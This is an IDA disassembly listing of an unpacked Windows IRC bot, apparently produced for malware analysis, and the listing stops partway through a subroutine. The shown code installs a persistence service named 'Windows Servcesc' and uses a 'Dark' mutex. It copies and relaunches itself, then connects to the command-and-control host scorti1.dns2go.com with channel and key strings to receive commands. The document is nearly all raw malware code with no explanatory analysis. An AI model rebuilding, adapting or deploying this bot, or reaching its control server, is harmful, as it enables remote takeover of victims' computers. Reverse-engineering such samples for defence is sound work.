;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	816F78FC826FF29F595E3176679B8ECD

; File Name   :	u:\work\816f78fc826ff29f595e3176679b8ecd_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servcesc"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB5D8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB648
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB588


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB600
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E56C
		call	dword_4CB6BC
		call	sub_40B2BF
		call	dword_4CB57C
		call	dword_4CB57C
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D7D8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650CB8h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D7D0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CB360, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB364, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB6D0
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 2680679h
		push	eax
		call	near ptr 268062Eh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB594
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2680506h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429A94
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429A8C
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26803E7h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680310h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2670E94h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670535h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2680310h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D7D8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2670E69h
		push	eax
		push	esi
		push	100000h
		call	near ptr 26707D9h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429A80
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2650CB8h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2670535h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB57C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB944, 2
		jle	short loc_401562
		mov	eax, dword_4DB948
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 268062Eh
		nop
		push	esi
		nop
		call	near ptr 2650937h
		mov	eax, dword_4DB948
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670535h
		mov	eax, dword_4DB948
		push	dword ptr [eax+8]
		nop
		call	near ptr 26706F7h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB6F4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D7E0
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E574[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A00
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E574[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299A0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB36C
		mov	dword_4CB4D8, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB3EC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4BC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB42C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4C0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB368
		mov	dword_4CB4D4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB4D4, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2670535h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB36C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB36C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB57C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB624
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E578
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6A4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E56C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6BC
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2670535h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429A9C
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6BC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB4D0, bl
		jz	short loc_40199A
		push	offset byte_4CB4D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6BC
		push	1388h
		nop
		call	near ptr 2670535h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB63C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670535h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
